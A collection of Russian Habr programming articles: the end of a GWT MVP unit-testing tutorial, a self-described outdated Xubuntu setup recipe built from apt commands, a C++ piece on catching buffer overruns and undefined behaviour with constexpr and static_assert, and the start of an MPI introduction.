\* Загрузить Студента на форму.
\*
\* @param student Студент.
\*/
void setStudent(Student student);
/\*\*
\* Были ли изменения загруженного ранее Студента.
\*
\* @return true - изменения были, false - изменений не было.
\*/
boolean isDirty();
}
}
```
Здесь описаны методы, которые должны реализовывать View и Presenter.
Сообщения от Presenter'а к View идут через интерфейс StudentPresenter.View. Это обычная схема MVP. Сообщения от View в Presenter идут через интерфейс StudentPresenter. Во многих примерах MVP так не делают — обычно делают в интерфейсе View методы по установки callback'ов (e.g. setEditClick(Callback c) ) и Presenter при инициализации View устанавливает ей callback'и (e.g. view.setEditClick(new Callback(){/\*функция-обработчик\*/})). View же должен в реализации методов по установки callback'ов сделать их сохранение у себя и в нужный момент должен их вызвать. Это решение мне не понравилось из за того, что будет много однотипного кода по сохранению callback'ов и во View будет много полей с этими callback'ами. А в Presenter'е будет много анонимных классов с кодом этих callback'ов, которые читаются не очень хорошо.
По этому я выбрал вариант, когда View имеет ссылку на интерфейс Presenter'а и когда нужно передать сообщение из View в Presenter, то View просто вызывает методы Presenter'а. В данной реализации минус этого решения в том, что интерфейс Presenter'а содержит фактически 2 типа методов — методы, которые нужно для взаимодействия между View и Presenter'ом (в примере выше это методы saveStudent, onEditStudent, getMode, isEdit) и методы, которые нужны для взаимодействия Presenter'а с внешним миром (это методы init, isDirty). Чтобы избежать этого минуса нужно методы взаимодействия View с Presenter'ом вынести в отдельный интерфейс и View передавать экземпляр этого интерфейса. Фактически реализовывать этот интерфейс может тот же класс что и реализует интерфейс StudentPresenter.
##### Пример с дополнительным интерфейсом
```
public interface StudentPresenter extends BasePresenter {
void init(@NotNull Mode mode, @Nullable Integer studentId, @NotNull EventBus eventBus, @NotNull Command onReady);
boolean isDirty();
enum Mode {
VIEW,
EDIT,
CREATE;
}
/\*\*
\* Дополнительный интерфейс для взаимодействия View с Presenter'ом.
\*/
interface ViewPresenter extends BasePresenter.ViewPresenter{
void saveStudent(Student student);
boolean isEdit();
void onEditStudent();
Mode getMode();
}
interface View extends BasePresenter.View {
void setStudent(Student student);
boolean isDirty();
}
}
```
В этом случае потребители Presenter'а будут видеть только предназначенные им методы, а не внутренние методы для взаимодействия с View.
Насколько я понял, в C# задача с передачей сообщения из View в Presenter хорошо решается с помощью event'ов — при их использовании кода пишется меньше.
#### Пример теста
Тестировать будем список студентов и форму редактирования студента
Список студентов
Форма редактирования студента
В тесте дополнительно используются следующие методы:
```
/**
* Переход на указанный Place с проверкой.
*
* @param newPlace Новый Place.
*/
void goToWithAssert(Place newPlace)
/**
* Проверка, что находимся на указанном Place. Внимание! Place должны корректно реализовывать метод {@link
* Object#equals(Object)}. Иначе сравнение будет по ссылке объекта.
*
* @param expectedWhere Ожидаемое местоположение (Place).
*/
void assertWhere(Place expectedWhere);
/**
* Проверка, что сейчас отображается View указанного Presenter'а. Т.е. по сути, что сейчас на экране находится этот
* Presenter.
*
* @param presenter Presenter, View которого должна сейчас отображаться на экране.
*/
void assertWhere(BasePresenter presenter);
```
Эти методы нужны чтобы проверить текущее местоположение и понять, что сейчас отображается на экране.
А теперь рассмотрим пример теста в котором проверяем список студентов. Приводить пример Presenter'а для списка студентов я не буду. Его можно найти по полному имени ru.timreset.example.gxt.client.presenter.StudentPresenter
```
@Test
public void listStudent() {
// Получаем Presenter главного меню.
MainWindowPresenter mainWindowPresenter = getInstance(MainWindowPresenter.class);
// Получаем Presenter списка студентов.
StudentsListPresenter studentsListPresenter = getInstance(StudentsListPresenter.class);
//Нажимаем на Перейти на список студентов.
mainWindowPresenter.goToStudentsList();
// Проверяем, что список открыт.
assertWhere(studentsListPresenter);
// Получается список студентов.
studentsListPresenter.getStudents(new PagingLoadConfigBean(0, 999), new ru.timreset.example.gxt.client.AsyncCallback>() {
@Override
public void onSuccess(PagingLoadResult result) {
//Проверяем, что данные есть.
Assert.assertFalse(result.getData().isEmpty());
}
});
}
```
Это тривиальный пример, но в нём уже проверяется работа главного меню и списка студентов.
Теперь рассмотрим пример посложнее — создание студента. При создании студента проверяем полную цепочку
1) Нажимаем на «Список студентов» в меню.
2) Нажимаем на «Создать студента» в списке студентов.
3) Заполняем поля в окне создания студентов.
3) Сохраняем студента.
4) Проверяем, что сохранённый студент есть в списке.
При этом на каждых шагах проверяем, что отображаются нужные формы и списки.
```
@Test
public void editTest() {
// Получаем Presenter главного меню.
MainWindowPresenter mainWindowPresenter = getInstance(MainWindowPresenter.class);
// Получаем Presenter списка студентов.
StudentsListPresenter studentsListPresenter = getInstance(StudentsListPresenter.class);
// Получаем Presenter окна студента.
StudentPresenter studentPresenter = getInstance(StudentPresenter.class);
// View окна студента.
StudentPresenter.View studentView = getInstance(StudentPresenter.View.class);
//Переходим на список
mainWindowPresenter.goToStudentsList();
// Проверяем, что список открыт. Проверяем и Place и View.
assertWhere(StudentsListPlace.buildList());
assertWhere(studentsListPresenter);
// Нажимаем на Создать студента.
studentsListPresenter.onCreateStudent();
// Должны перейти на Создание студента.
assertWhere(StudentPlace.buildCreate());
// Должно быть открыто окно Редактирования студента.
assertWhere(studentPresenter);
//Окно должно быть в режиме создания.
Assert.assertEquals(StudentPresenter.Mode.CREATE, studentPresenter.getMode());
// Получаем Студента
ArgumentCaptor studentArgumentCaptor = ArgumentCaptor.forClass(Student.class);
Mockito.verify(studentView).setStudent(studentArgumentCaptor.capture());
// Заполняем поля.
Student student = studentArgumentCaptor.getValue();
student.setName("TEST\_NAME");
student.setSurname("TEST\_SURNAME");
student.setPatronymic("TEST\_PATRONYMIC");
student.setBirthday(new Date());
student.setStudentType(StudentType.ABSENTED);
// Сохраняем
studentPresenter.saveStudent(student);
// Должно быть открыто окно Список студентов.
assertWhere(StudentsListPlace.buildList());
assertWhere(studentsListPresenter);
//Получаем список студентов и проверяем, что созданный студент есть в списке.
studentsListPresenter.getStudents(new PagingLoadConfigBean(0, 999), new ru.timreset.example.gxt.client.AsyncCallback>() {
@Override
public void onSuccess(PagingLoadResult result) {
Collection coll = Collections2.filter(result.getData(), new Predicate() {
@Override
public boolean apply(Student input) {
return "TEST\_NAME".equals(input.getName());
}
});
//Проверяем, что данные есть.
Assert.assertEquals(1, coll.size());
}
});
}
```
Здесь так же как и в первом тесте переходим на список студентов. Проверяем что перешли на список. Там нажимаем на «Создать студента». Проверяем, что перешли на окно «создание студента». Проверяем и наличие самого окна (проверка, что отображается нужный View) и наличие нужно Place. Далее заполняем поля и создаём студента. И проверяем, что созданный студент есть в списке.
#### Заключение
Подытожим, что было сделано — разработан пример MVP архитектуры с базовыми интерфейсами и описанием взаимодействия между ними. В дополнение использованы GWT Editor, UiBinder, Activity and Place. Создано тестовое окружение. Написано несколько тестов для демонстрации подхода. К сожалению из за недостатка времени (и лени), я не реализовал полный пример с созданием групп и использованием Presenter'а списка студентов как списка для выборы студентов для добавления в группы.
##### Теперь отменим плюсы и ограничения этого подхода
Плюсы:
1) Можно быстро запустить тесты с покрытием цепочки вызовов «UI логика — Взаимодействие с сервером — Серверная логика — Взаимодействие с СУБД».
2) Лёгкость написания тестов (пусть объём их Вас не пугает — пишутся они легко и последовательно по шагам).
3) Вообще отделение логики и представления полезно при написании больших UI приложений. А тут
Ограничения:
1) Нельзя тестировать UI элементы. Например, если есть какая нибудь кнопка на форме то нельзя проверить, что по клику на нём происходит нужное действие, нельзя проверить что существует связь между click handler'ом для этой кнопки и вызовом соответствующего метода в Presenter'е. Частично эти ошибки предупреждаются использованием максимального простого View, но исключать их нельзя.
2) MVP больше подходит для больших приложений со сложной логикой — если есть всего несколько формочек с простой логикой, то будет большой overhead по коду и количеству классов при использовании MVP.
Вообще для себя я решил использовать этот подход — при это разработка становится даже проще, т.к. есть чёткое разделение обязанностей по классам (из за MVP) быстрая проверка работоспособности кода (из за того, что не нужно подниматься тяжёлое GWT окружение).
#### Дополнительная литература
GWT Mockito
[www.objectpartners.com/2013/11/07/testing-gwt-with-gwtmockito](http://www.objectpartners.com/2013/11/07/testing-gwt-with-gwtmockito/)
Unit and Integration Testing for GWT Applications
[www.infoq.com/articles/gwt\_unit\_testing](http://www.infoq.com/articles/gwt_unit_testing) | https://habr.com/ru/post/246285/ | null | ru | null |
# Рецепт приготовления Xubuntu, или нетбук для супруги
С момента написания статьи вышли новые версии Xubuntu. Статья устарела. Писал, в основном, для собственной памяти и актуальность поддерживаю там где удобнее. [Актуальный вариант](http://cleaner-lab.blogspot.com/2011/10/xubuntu-1110.html) и [продолжение темы](http://cleaner-lab.blogspot.com/2012/07/blog-post.html) смотрите в [блоге](http://cleaner-lab.blogspot.com/).
Именно рецепт, поскольку дальше будет описание только моего варианта допила свежеустановленной системы, а вкусы, как известно, у всех разные.
[](http://3.bp.blogspot.com/-hJVX6oaknzY/Tp7NRLd8N6I/AAAAAAAABEw/1TjJhV7dKac/s1600/ekran.png)
Итак, вышла новая ubuntu не оставляющая нам ничего кроме Unity по умолчанию.
Спасибо, кушайте сами. Кто хочет попытать счастья с Gnome 3 — могут набрать:
`sudo apt-get install gnome-shell
sudo apt-get install gnome-session-fallback gnome-shell dconf-tools gnome-tweak-tool aptitude synaptic compizconfig-settings-manager lo-menubar`
Да, пенели теперь управляются с нажатой кнопкой Alt и только при закрытых окнах.
Волонтерам удачи, а мы переходим к XFCE.
`sudo apt-get install xubuntu-desktop`
Ставим дополнительные пакеты для проигрывания видео, аудио и DVD
`sudo apt-get install xubuntu-restricted-extras libdvdread4
sudo /usr/share/doc/libdvdread4/install-css.sh`
дополнения для окружения рабочего стола Xfce4
`sudo apt-get install xfce4-goodies`
Только не удаляйте все пакеты от gnome, они вам еще пригодятся. Xubuntu не только во многом напоминает Gnome 2, но и использует его пакеты.
#### Настраиваем панели
###### Добавляем значок раскладки клавиатуры
`sudo apt-get install xfce4-xkb-plugin`
Теперь он появится в меню выбора аплетов
###### Мониторинг температуры и скорости вращения куллеров.
`sudo apt-get install hddtemp smartmontools lm-sensors xfce4-xfapplet-plugin xfce4-sensors-plugin sensors-applet
sudo sensors-detect
sudo dpkg-reconfigure hddtemp`
Нижнюю панель, грешен, делаем по образу Mac OS
`sudo apt-get install avant-window-navigator`
#### Настраиваем внешний вид
###### Добавляем аватары пользователей.
В директорию каждого пользователя (~/home/user) картинку в формате .png размерами до 150х150 пикселей переименовав её в .face
###### Добавляем темы и иконки
В директории пользователя создаем папки ~/.icons и ~/.themes
и кладем туда красоты скачанные, например, [отсюда](http://xfce-look.org/)
###### Меняем картинку окна логина пользователей.
Находим и открываем в редакторе фаил /etc/lightdm/lightdm-gtk-greeter.conf
меняем значение
`[greeter]
background=`
Для этой нехитрой операции уже есть GUI.
`sudo apt-add-repository ppa:claudiocn/slm
sudo apt-get update
sudo apt-get install simple-lightdm-manager`
#### Настраиваем программы.
###### Удаляем то что не нравится
`sudo apt-get remove unity
sudo apt-get purge abiword gcalctool gnumeric gnumeric-common`
###### Ставим то, что нравится
`sudo add-apt-repository ppa:alexx2000/doublecmd
sudo add-apt-repository ppa:webupd8team/umplayer
sudo apt-get update
sudo apt-get install aptitude samba cheese vlc umplayer chromium-browser chromium-codecs-ffmpeg-extra gimp gimp-data-extras gimp-plugin-registry libreoffice speedcrunch wicd mc gnome-commander doublecmd-gtk quodlibet quodlibet-plugins fbreader djview4 xchm`
Caffein — для отключения скринсейвера при просмотре флеш видео
`sudo add-apt-repository ppa:caffeine-developers/ppa && sudo apt-get update && sudo apt-get install caffeine`
Все бы хорошо, но супруга хранит все свои рецепты в программе под OS Windows и не собирается менять свои привычки. Не беда, ставим Wine.
`sudo apt-get install wine winetricks`
Для правильной работы этой конкретной программы ей надо указать рабочую директорию.
Проблемку можно решить настроив аплет верхней панели (смотри фото)
[](http://2.bp.blogspot.com/-hg9GPB3cJj0/Tp7NyJdpC8I/AAAAAAAABE4/bl-INB61bUA/s1600/rets1.png)
или создав отдельный фаил запуска в терминале (не забыв дать ему права на запуск)
в файле прописываете ваш путь к рабочей директории программы, типа:
`cd /home/user/Windows/Recipes/bin && wine recipes.exe`
[](http://1.bp.blogspot.com/-at7ga8mneXg/Tp7N6IPclLI/AAAAAAAABFA/_B9ElfP7Uaw/s1600/rets_big.png)
Уф-ф-ф. Приберемся за собой.
`sudo apt-get clean && sudo apt-get autoremove`
Получилось довольно сносно:
[](http://3.bp.blogspot.com/-SLaA2tniFpw/Tp7PH8iw2tI/AAAAAAAABFI/oxHGdxHtfcM/s1600/ekran2.png)
[](http://1.bp.blogspot.com/-lc4OK_cuCNA/Tp7PIwxrKaI/AAAAAAAABFQ/Dtt89n9U4js/s1600/111.png)
Решения дополнительных вопросов
1. Заставить работать от Nvidia vdpau:
`sudo add-apt-repository ppa:ubuntu-x-swat/x-updates`
`sudo apt-get update`
`sudo apt-get install nvidia-current nvidia-settings vdpau-video`
2. Поставить проприентарный кодек HD видео CoreAVCDecoder.ax
`sudo add-apt-repository ppa:ripps818/coreavc`
`sudo apt-get update`
`sudo apt-get install mplayer dshowserver`
3 Если терминал не запоминает команды предыдущей сессии, надо сменить владельца ~/.bash\_history с root на себя.
4. После нескольких обновлений перестал запускаться gimp. Выдавая вот такое:
`gimp: error while loading shared libraries: libgegl-0.0.so.0: cannot open shared object file: No such file or directory`
решается следующими махинациями
`sudo apt-get purge gimp libgegl* libbabl*`
`sudo apt-get install gimp gimp-data-extras gimp-plugin-registry`
5. Если в Скайпе изображение с видеокамеры перевернуто. Запускайте Скайп следующей командой:
sh -c «LD\_PRELOAD=/usr/lib/i386-linux-gnu/libv4l/v4l1compat.so skype»
6. Установка Oracle Java (JDK) 7
`sudo add-apt-repository ppa:webupd8team/java`
`sudo apt-get update`
`sudo apt-get install oracle-jdk7-installer`
P.S. Тоже, но на а большом экране, справа conky.
[](http://3.bp.blogspot.com/-UcyYbmY3YtI/T8JUXjohytI/AAAAAAAABhA/6eIwDmI-kA4/s1600/%D0%A1%D0%BD%D0%B8%D0%BC%D0%BE%D0%BA+%D1%8D%D0%BA%D1%80%D0%B0%D0%BD%D0%B0+-+27.05.2012+-+20:19:30.png) | https://habr.com/ru/post/130763/ | null | ru | null |
# Безопасно рисуем иконки в ПЗУ и ловим UB в C++ коде на IAR компиляторе
Доброго времени суток хабровчане. Давненько я не писал, был довольно сильно занят семьей, начались тренировки и нужно каждый день возить детей. Но вот наконец-то есть время чтобы немного вспомнить про разработку ПО.
Сегодня будем выводить иконку на черно-белый графический LCD — но это слишком простая задача. Потому что перед тем как её вывести, необходимо её нарисовать. Рисовать можно в Paint, потом использовать генератор, который переведет растровое изображение в код и использовать его для вывода на экран.
Но мы не ищем простых путей, поэтому иконку будем рисовать сами на С++ для CortexM4 микроконтроллера и сразу в ПЗУ, чтобы не зависеть от всех этих внешних программ, заодно и посмотрим как можно отловить ошибки в уже существующем коде (студентов), которые никто не заметил (даже PVS-Studio).
А еще некоторые компиляторы запрещают делать UB для кода исполняющегося во времени компиляции, поэтому можно отлавливать и UB. Например, мой IAR прекрасно ловит переполнения int. Но обо всем поподробнее.
Чтобы было просто — рисовать будем круг.
Как нарисовать круг
-------------------
Итак, рисовать будем круг, и срисовываем его прямиком с Википедии — вот прямо [отсюда](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%91%D1%80%D0%B5%D0%B7%D0%B5%D0%BD%D1%85%D1%8D%D0%BC%D0%B0).
На С++ от студентов это будет выглядеть примерно так:
Код круга
```
/*************************************************************************
* Function: drawCircle
*************************************************************************/
template
constexpr void DrawLibrary::drawCircle(TFrameBuffer& framebuffer, const tPoint leftUpperPoint,
const tPoint rightLowerPoint, const size\_t width)
{
const size\_t sizeX= rightLowerPoint.coordinateX - leftUpperPoint.coordinateX;
const size\_t sizeY = rightLowerPoint.coordinateY - leftUpperPoint.coordinateY;
const size\_t maxDiameter = sizeX < sizeY ? (sizeX) : (sizeY);
size\_t radius = maxDiameter / 2U;
const size\_t centerX = radius;
const size\_t centerY = radius;
for (size\_t i = 0U; i < width; ++i)
{
size\_t y = radius;
size\_t x = 0;
int32\_t delta = 1 - radius \* 2;
int32\_t error = 0;
while (y >= x)
{
const size\_t centerXPlusX = centerX + x;
const size\_t centerXPlusY = centerX + y;
const size\_t centerXMinusX = centerX - x;
const size\_t centerXMinusY = centerX - y;
const size\_t centerYPlusY = centerY + y;
const size\_t centerYPlusX = centerY + x;
const size\_t centerYMinusY = centerY - y;
const size\_t centerYMinusX = centerY - x;
framebuffer.setDataInGivenPosition(centerXPlusX,centerYPlusY);
framebuffer.setDataInGivenPosition(centerXPlusX,centerYMinusY);
framebuffer.setDataInGivenPosition(centerXMinusX,centerYPlusY);
framebuffer.setDataInGivenPosition(centerXMinusX,centerYMinusY);
framebuffer.setDataInGivenPosition(centerXPlusY,centerYPlusX);
framebuffer.setDataInGivenPosition(centerXPlusY,centerYMinusX);
framebuffer.setDataInGivenPosition(centerXMinusY,centerYPlusX);
framebuffer.setDataInGivenPosition(centerXMinusY,centerYMinusX);
error = 2 \* (delta + y) - 1;
if ((delta < 0) && (error <= 0))
{
++x;
delta += 2 \* x + 1;
}
else if ((delta > 0) && (error > 0))
{
--y;
delta -= 2 \* y + 1;
}
else
{
++x;
--y;
delta += 2 \* (x - y);
}
}
--radius;
};
}
```
В этом коде сразу минимум 2 ошибки, которые как будто-бы не влияют на работу функции, но на самом деле еще как влияют, но об этом немного позже. Так вот, одна из этих ошибок UB и вторая — выход за предел массива у буфера `buffer`. Найти такие ошибки трудно, и даже PVS-Studio обнаружил только UB.
Немного о функции, она рисует круг, вписанный в квадрат с координатами `leftUpperPoint` и `rightLowerPoint`, если это прямоугольник, то берется наименьшая из сторон. В строчке 10 как раз так задается диаметр. Остальное отлично описано в википедии.
Буфер в "ПЗУ"
-------------
Как вы заметили, функция рисования круга — constexpr — это означает, что рисовать она может во время компиляции. Но для того, чтобы она рисовала во время компиляции, необходимо, чтобы передаваемый `buffer`, тоже был доступен во время компиляции. Давайте быстренько напишем простейший такой буфер.
```
template
class FrameBuffer
{
public:
constexpr size\_t getSize() const
{
return std::size(buffer);
}
static constexpr size\_t getSizeX()
{
return XsizeInPixels;
}
static constexpr size\_t getSizeY()
{
return YsizeInPixels;
}
constexpr void setDataInGivenPosition(const size\_t x, const size\_t y)
{
const size\_t yPosition = y / 8U;
const size\_t positionBitInByte = (y - (yPosition \* 8U ));
buffer[y \* yPosition + x] |= (1U << positionBitInByte);
}
private:
uint8\_t buffer[XsizeInPixels \* YsizeInPixels / 8U] = {};
};
```
В нем ничего такого интересного, кроме того, что он имеет `constexpr` конструктор и `constexpr` функцию `setDataInGivenPosition` т.е. формально мы можем создать этот буфер на этапе компиляции и нарисовать туда круг.
Без сомнения, если мы создадим `constexpr` объект буфера, то он попадет в ПЗУ.
```
constexpr FrameBuffer<10, 10> oBuffer; //всё - буфер в ПЗУ
```
Но нарисовать туда не получится, поскольку функция `setDataInGivenPosition` хоть и `constexpr`, но не константная и меняет состояние объекта и вызывать её у самого `constexpr` объекта нельзя — это и логично.
Иконка в ПЗУ и не очень в ПЗУ
-----------------------------
Чтобы разрешить проблему, мы можем вызывать эту функцию при инициализации `constexpr` объекта. Поэтому давайте создадим класс иконка, которая будет просто кругом.
```
template
struct IconCircle
{
constexpr IconCircle()
{
const tPoint leftUpperPoint = {0U, 0U};
const tPoint rightLowerPoint = {getSizeX(), getSizeY()};
cDrawLibrary::drawCircle(oFrameBuffer, leftUpperPoint,
rightLowerPoint, width);
}
TBuffer oFrameBuffer;
constexpr size\_t getSizeX() const {return TBuffer::getSizeX();}
constexpr size\_t getSizeY() const {return TBuffer::getSizeY();}
};
```
Теперь в `constexpr` конструкторе мы рисуем круг прямо в `oFrameBuffer` во время компиляции и наш буфер попадает прямиком в ПЗУ, но это не точно, потому что компилятор может рассчитанные значения подставлять прямо в код, все зависит от того будете ли обращаться к буферу по его адресу или там в цикле по индексу или итератору.
А вот если решите вывести из него один байт, то компилятор просто подставит значение этого байта. Те значения, которые вы не используете, компилятор вообще может выкинуть, ну потому что они не нужны программе, например, решите вывести только 10 байт(ну не нужен вам весь круг почему-то) из иконки не обращаясь через итератор к массиву и, вуаля, будет только 10 этих значении прямо в коде, а остальных байт даже в ПЗУ не будет.
В общем, не суть важно, важно, что теперь мы можем создавать круг прямо в ПЗУ, и никакого кода не будет, максимум только массив байт буфера в ПЗУ.
Выглядит это так:
```
constexpr static size_t circleDiameter = 32U;
using tIconCircleBuffer = FrameBuffer;
//Создаем иконку круг толщиной 3 пикселя прямиком в ПЗУ
constexpr IconCircle oIconSplashCircle{};
```
Весь код который мы до этого тут написали не попал в прошивку, остался только буфер с кругом в ПЗУ. Но, если что, такой код у нас не скомпилируется.... и все из-за тех 2 начальных ошибок, которые я показал в начале статьи.
А вот следующий очень даже скомпилится.
```
constexpr static size_t circleDiameter = 32U;
using tIconCircleBuffer = FrameBuffer;
//Создаем иконку круг толщиной 3 пикселя прямиком в ОЗУ
IconCircle oIconCircle{};
```
Такой код уже будет работать, но не долго, пока программа не обратится к области важных данных, которые мы попортили. Кроме того, этот код генерит кучу написанного выше нами, кода функций, в том числе и рисование круга в буфер, который теперь будет находиться в ОЗУ — но возможно мы так и задумали, может быть мы хотим со временем поменять эту иконку.
Происходит это потому, что мы создали не константный объект `oIconCircle`, который по определению не может быть в ПЗУ, а значит не может и во время компиляции запустить метод рисования круга.
Ловим переполнение буфера
-------------------------
Переходим теперь к интересному, отлавливанию ошибок переполнения буфера компилятором. Итак, наша ошибка заключается в том, что мы неправильно определили координаты центра. В буфере массив по Х и Y начинается от 0 и до `diameter` — 1, а в функции, будет переполнение когда мы сложим 2 радиуса, см 29 строку и соответственно обратимся к буферу по координатам `diameter`, `diameter`, что явно за пределами массива.
```
template
static constexpr void DrawLibrary::drawCircle(TFrameBuffer& framebuffer,
const tPoint leftUpperPoint,
const tPoint rightLowerPoint,
const size\_t width)
{
const size\_t sizeX= rightLowerPoint.coordinateX - leftUpperPoint.coordinateX;
const size\_t sizeY= rightLowerPoint.coordinateY - leftUpperPoint.coordinateY;
const size\_t maxDiameter = sizeX < sizeY ? sizeX : sizeY;
size\_t radius = maxDiameter / 2U; //самое просто отнять 1 от радиуса
const size\_t centerX = radius;
const size\_t centerY = radius;
for (size\_t i = 0U; i < width; ++i)
{
//размер буфера от 0 до diameter - 1, но мы задаем так, что
//максимальное значение точки будет равно diameter == 2 \* radius,
//что явно находится вне размера буфера.
size\_t y = radius;
size\_t x = 0U;
int32\_t delta = 1 - radius \* 2;
int32\_t error = 0;
while (y >= x)
{
...
//строка 29 Вот тут мы прибавляем к centerY + y == 2 \* radius
framebuffer.setDataInGivenPosition(centerXPlusX,centerYPlusY);
framebuffer.setDataInGivenPosition(centerXPlusX,centerYMinusY);
framebuffer.setDataInGivenPosition(centerXMinusX,centerYPlusY);
framebuffer.setDataInGivenPosition(centerXMinusX,centerYMinusY);
framebuffer.setDataInGivenPosition(centerXPlusY,centerYPlusX);
framebuffer.setDataInGivenPosition(centerXPlusY,centerYMinusX);
framebuffer.setDataInGivenPosition(centerXMinusY,centerYPlusX);
framebuffer.setDataInGivenPosition(centerXMinusY,centerYMinusX);
...
};
}
```
Но мы в нашем случае с иконкой в ОЗУ еще этого не обнаружили. А очень хотим обнаружить, но при этом, желаем чтобы иконка была в ОЗУ, а то вдруг мы потом решим поменять её и добавить к кругу рюшечек.
Давайте попробуем отловить это. Как мы помним, если бы мы рисовали кружок на этапе компиляции, то компилятор бы не смог такое УГ скомпилировать, потому что во время компиляции у него будет паника и данные не влезут в отведенный массив.
Таким образом, нам надо попробовать создать точно такой же объект во время компиляции, и если он создастся, то значит все с нашей функцией хорошо, а если нет — то беда.
Нужно учесть, что если мы создадим второй такой же объект он чисто теоретически отъест ПЗУ на размер буфера, хотя конечно реальный компилятор не даст этого сделать, так как этот объект не будет нигде использоваться. Но нам нужно, чтобы все было по правилам. Поэтому воспользуемся `static_assert` , где и попытаемся создать точно такой же объект.
```
constexpr static size_t circleDiameter = 32U;
using tIconCircleBuffer = FrameBuffer;
using tIconCircle = IconCircle;
//Создаем иконку круг толщиной 3 пикселя в ОЗУ
tIconCircle oIconSplashCircle{};
//Пытаемся создать точно такой же объект во время компиляции,
//если он создастся, то все хорошо
static\_assert([](){constexpr tIconCircle oCircle{}; return true;}(), "Hi");
```
Вот теперь все хорошо, объекта, который создается в `static_assert` не будет в реальной жизни вообще, но попытка создать его во время компиляции будет, если там у нас приключится выход за пределы массива, то компилятор выдаст, что-то примерно такое:
> **:202:50:** **error:** array subscript value '**144**' is outside the bounds of array type '**uint8\_t [128]**' {aka '**unsigned char [128]**'}
>
>
[Можно лицезреть код здесь](https://godbolt.org/z/hYM8E5q98)
Поправить это можно просто отняв 1 от радиуса
[Тоже самое, но минус 1](https://godbolt.org/z/qK5z8ErM3)
Таким образом, мы можем отловить выход за границу буфера для нашей функции рисования круга. Конечно это только для конкретного экземпляра круга. Но мы можем во время компиляции перебрать все возможные комбинации. Компиляция конечно затянется, но зато будем уверены, что все хорошо на всем диапазоне значений. Это похоже на юнит тесты, но прямо во время компиляции.
Например, чтобы проверить, что функция `setDataInGivenPosition` не делает ничего запрещенного, можно написать такой тест
```
template
struct CompileTimeBufferSetDataTest
{
static void check()
{
static\_assert([]()
{
struct cFrameBufferSetDataInGivenPositionCompileTimeTest
{
constexpr cFrameBufferSetDataInGivenPositionCompileTimeTest(int i,
int j)
{
oBuffer.setDataInGivenPosition(i,j);
result = true;
}
TBufferType oBuffer;
bool result = true;
};
bool result = true;
for (int i = 0; i < maxValueI; ++i)
{
for (int j = 0; j < maxValueJ; ++j)
{
cFrameBufferSetDataInGivenPositionCompileTimeTest oTest{i,j};
result &= oTest.result;
}
}
return result;
}(), "assert");
}
};
```
Он просто пробегается по всем `x` и `y` от 0 до `maxValueI`, `maxValueJ` и вызывает функцию `setDataInGivenPosition` в конструкторе, и если она сделает что-то нехорошее, то объект не сможет создаться во время компиляции и компилятор выдаст ошибку.
Можно запихнуть в этот код какую-то логику, чтобы проверить работу функции более детально. А потом вызвать её где-нибудь в коде. Я вызвал ее так:
```
int main()
{
static IconCircle oIconSplashCircle{};
constexpr int maxValueI = 32;
constexpr int maxValueJ = 32;
//Check that with maxValueI there are no index out of bounds
CompileTimeBufferSetDataTest::check();
}
```
IAR ловит UB
------------
На самом деле, в godbolt компиляторы не смогли обнаружить UB, зато его обнаружил PVS-Studio — красавчик.
[UB найденное PVS-Studio](https://godbolt.org/z/fd3sd7Eh5)
> :140:1: warning: V1026 The 'delta' variable is incremented in the loop. Undefined behavior will occur in case of signed integer overflow.
>
>
А вот IAR не смог откомпилировать такой код, сработала наша заготовка со `static_assert`
Где находится UB
```
template
constexpr void DrawLibrary::drawCircle(TFrameBuffer& framebuffer, const tPoint leftUpperPoint,
const tPoint rightLowerPoint, const size\_t width)
{
const size\_t sizeX= rightLowerPoint.coordinateX - leftUpperPoint.coordinateX;
const size\_t sizeY = rightLowerPoint.coordinateY - leftUpperPoint.coordinateY;
const size\_t maxDiameter = sizeX < sizeY ? sizeX : sizeY;
size\_t radius = maxDiameter / 2U - 1U; //беззнаковое целое
const size\_t centerX = radius;
const size\_t centerY = radius;
for (size\_t i = 0U; i < width; ++i)
{
size\_t y = radius; //беззнаковое целое
size\_t x = 0U; //беззнаковое целое
int32\_t delta = 1 - (int32\_t)radius \* 2; // вот тут порядок мы привел к (int32\_t)
int32\_t error = 0;
while (y >= x)
{
const size\_t centerXPlusX = size\_t(centerX + x);
const size\_t centerXPlusY = size\_t(centerX + y);
const size\_t centerXMinusX = size\_t(centerX - x);
const size\_t centerXMinusY = size\_t(centerX - y);
const size\_t centerYPlusY = size\_t(centerY + y);
const size\_t centerYPlusX = size\_t(centerY + x);
const size\_t centerYMinusY = size\_t(centerY - y);
const size\_t centerYMinusX = size\_t(centerY - x);
framebuffer.setDataInGivenPosition(centerXPlusX,centerYPlusY);
framebuffer.setDataInGivenPosition(centerXPlusX,centerYMinusY);
framebuffer.setDataInGivenPosition(centerXMinusX,centerYPlusY);
framebuffer.setDataInGivenPosition(centerXMinusX,centerYMinusY);
framebuffer.setDataInGivenPosition(centerXPlusY,centerYPlusX);
framebuffer.setDataInGivenPosition(centerXPlusY,centerYMinusX);
framebuffer.setDataInGivenPosition(centerXMinusY,centerYPlusX);
framebuffer.setDataInGivenPosition(centerXMinusY,centerYMinusX);
error = 2 \* (delta + y) - 1; //тут вот тоже все странно
if ((delta < 0) && (error <= 0))
{
++x;
delta += (int32\_t)2 \* x + (int32\_t)1;
}
else if ((delta > 0) && (error >0))
{
--y;
delta -= 2 \* y + 1; // и тут
}
else
{
++x;
--y;
delta += 2 \* (x - y); //А вот тут вообще не порядок, это UB
}
}
--radius;
};
}
```
Таким образом, в IAR кроме выхода за пределы массива можно отловить еще и все UB, которые есть в коде.
Резюме
------
Понаписал я много, но вы спросите, а иконка то в ПЗУ хоть правильно нарисовалась? Да, после всех доработок метода — и вот он пруф:
> [Код экспериментов](https://godbolt.org/z/8Kcr1rde5)
>
>
P.S
---
Кстати, если вы еще помните про UB вот в этой строчке
```
delta += 2 * (x - y);
```
Где `x` и `y` это беззнаковые целые, то студенты решили поправить это вот так:
```
delta += 2 * ((int32_t)x - (int32_t)y);
```
Как вы думаете, что произошло? Да UB ушел, но .... вместо круга получился **Ромб.** Вот такое оно бездумное преобразование типов. | https://habr.com/ru/post/593347/ | null | ru | null |
# Установка и начала использования библиотеки MPI
Иногда необходимо запустить приложение на нескольких машинах (или процессорах), чтобы улучшить производительность (т.е. уменьшить время выполнения). Можно создать компьютерную сеть для последующего запуска приложения распределённо по всем узлам. При разработке такого приложения необходимо организовать обмен сообщениями. Я знаю две реализации:
* использование сокетов и работа с OS API напрямую,
* использование MPI.
